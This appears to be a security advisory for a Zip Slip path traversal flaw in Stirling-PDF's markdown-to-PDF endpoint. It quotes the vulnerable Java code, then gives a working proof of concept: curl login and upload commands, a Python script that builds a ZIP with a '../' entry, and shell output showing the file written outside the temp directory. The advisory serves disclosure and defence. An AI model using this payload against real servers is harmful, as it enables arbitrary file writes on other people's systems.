Summary
/api/v1/convert/markdown/pdf extracts user-supplied ZIP entries without path checks.
Any authenticated user can write files outside the intended temporary working directory, leading to arbitrary file write with the privileges of the Stirling-PDF process user (stirlingpdfuser).
Details
if (isZip) {
// Handle ZIP file containing markdown + images
try (TempDirectory tempDir = new TempDirectory(tempFileManager)) {
// Extract ZIP to temp directory
java.nio.file.Path tempDirPath = tempDir.getPath();
try (java.util.zip.ZipInputStream zipIn =
io.github.pixee.security.ZipSecurity.createHardenedInputStream(
new java.io.ByteArrayInputStream(fileInput.getBytes()))) {
java.util.zip.ZipEntry entry;
while ((entry = zipIn.getNextEntry()) != null) {
if (!entry.isDirectory()) {
java.nio.file.Path filePath = tempDirPath.resolve(entry.getName()); // path traversal
java.nio.file.Files.createDirectories(filePath.getParent());
java.nio.file.Files.copy(zipIn, filePath);
}
zipIn.closeEntry();
}
}
It doesn't validate ZIP entry paths before extraction, allowing path traversal (Zip Slip) and arbitrary file write outside the tempDirPath.
PoC
- Login as a normal user who includes workspace, role is not important.
curl -s -X POST 'http://localhost:8181/api/v1/auth/login' \
-H 'Content-Type: application/json' \
-d '{"username":"user@user.com","password":"useruser"}'
- Get user's token.
curl -s -X POST 'http://localhost:8181/api/v1/auth/login' \
-H 'Content-Type: application/json' \
-d '{"username":"user@user.com","password":"useruser"}'
{"session":{"access_token":"eyJraWQiOiJqd3Qta2V5LTIwMjYtMDItMTgtMDY0MjEwIiwiYWxnIjoiUlMyNTYifQ.eyJyb2xlIjoiUk9MRV9VU0VSIiwiYXV0aFR5cGUiOiJXRUIiLCJzdWIiOiJ1c2VyQHVzZXIuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdGlybGluZy5jb20iLCJpYXQiOjE3NzE0MDMzNDYsImV4cCI6MTc3MTQ4OTc0Nn0.1yPiX0cNNZyFpWMX94Ie-whSHmTYcDIHUM5_nmM2Y2nw1M1SZX7hl8m9j4jRdG48AyEmRKL6kdyyfu4Xj-uxdQ0XAK7qpCiBOnxY0pcDLGYZGJKQGAOdjcvXXiKQTKjWknRvQohikVohVvugX61Lqfus8feJ9zWRLhmathRzJmnx0VfpQVQw0pBsRXzrJRMuSJ2Bt-3ZCwzRkGyLj7Gjf8S6DbzDsIJxg0sSex435JPesaVxdkW7tITQpc2HqXf7CMFEAPtGPFiOTmFueCIAm90IZoPESHG-ba0zdvEaDF2iSmi4HU8huVswOBqqLalse5Dhh7FTxlPxMJx5ng7uKQ","expires_in":86400},"user":{"role":"ROLE_USER","user_metadata":{"firstLogin":false},"id":33,"authenticationType":"web","email":"user@user.com","enabled":true,"username":"user@user.com","app_metadata":{"provider":"web"}}}
- Make a malicious zip file.
python3 - <<'PY'
import zipfile
zip_path = "/tmp/poc.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("index.md", "# At least one md file")
z.writestr("../../../../../../../tmp/poc", "Path Traversal")
print("created:", zip_path)
PY
- Upload the malicious zip file.
curl -i -X POST 'http://localhost:8181/api/v1/convert/markdown/pdf' \
-H "Authorization: Bearer $TOKEN" \
-F 'fileInput=@/tmp/poc.zip;type=application/zip'
- Verify whether the PoC file is created outside the tempDir.
root@81b1894a6426:/tmp# ls
OSL_PIPE_1000_SingleOfficeIPC_7bef55ee8580fd4f226dd664171f447 calibre-installer-cache hsperfdata_stirlingpdfuser xdg-1000
OSL_PIPE_1000_SingleOfficeIPC_85545a7ab39c52cf25567e2c4d82366 hsperfdata_root stirling-pdf
root@81b1894a6426:/tmp# ls
OSL_PIPE_1000_SingleOfficeIPC_7bef55ee8580fd4f226dd664171f447 calibre-installer-cache hsperfdata_stirlingpdfuser stirling-pdf
OSL_PIPE_1000_SingleOfficeIPC_85545a7ab39c52cf25567e2c4d82366 hsperfdata_root poc xdg-1000
root@81b1894a6426:/tmp# cat poc
Path Traversalroot@81b1894a6426:/tmp#
root@81b1894a6426:/tmp# ls -la poc
-rw-r--r-- 1 stirlingpdfuser stirlingpdfgroup
If file exists, the error message is returned:
curl -i -X POST 'http://localhost:8181/api/v1/convert/markdown/pdf' \
-H "Authorization: Bearer $TOKEN" \
-F 'fileInput=@/tmp/poc.zip;type=application/zip'
HTTP/1.1 500 Server Error
Date: Wed, 18 Feb 2026 08:35:51 GMT
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Request-Id: 07ffcf3b-0806-4cf0-9a6d-8f86b8d670a6
Set-Cookie: JSESSIONID=node0n87qghplhiru1nlwzeq9ec7v621.node0; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY
Transfer-Encoding: chunked
{"error":"Job failed: java.nio.file.FileAlreadyExistsException: /tmp/stirling-pdf/stirling-pdf/stirling-pdf-11811535293135944842/../../../../../../../tmp/poc"}
Impact
Authenticated users can write attacker-controlled files outside the intended temporary extraction directory, with the privileges of the application process (stirlingpdfuser). This can overwrite writable files and compromise data integrity, with further impact depending on writable paths.
Summary
/api/v1/convert/markdown/pdf extracts user-supplied ZIP entries without path checks.
Any authenticated user can write files outside the intended temporary working directory, leading to arbitrary file write with the privileges of the Stirling-PDF process user (stirlingpdfuser).
Details
It doesn't validate ZIP entry paths before extraction, allowing path traversal (Zip Slip) and arbitrary file write outside the tempDirPath.
PoC
If file exists, the error message is returned:
Impact
Authenticated users can write attacker-controlled files outside the intended temporary extraction directory, with the privileges of the application process (stirlingpdfuser). This can overwrite writable files and compromise data integrity, with further impact depending on writable paths.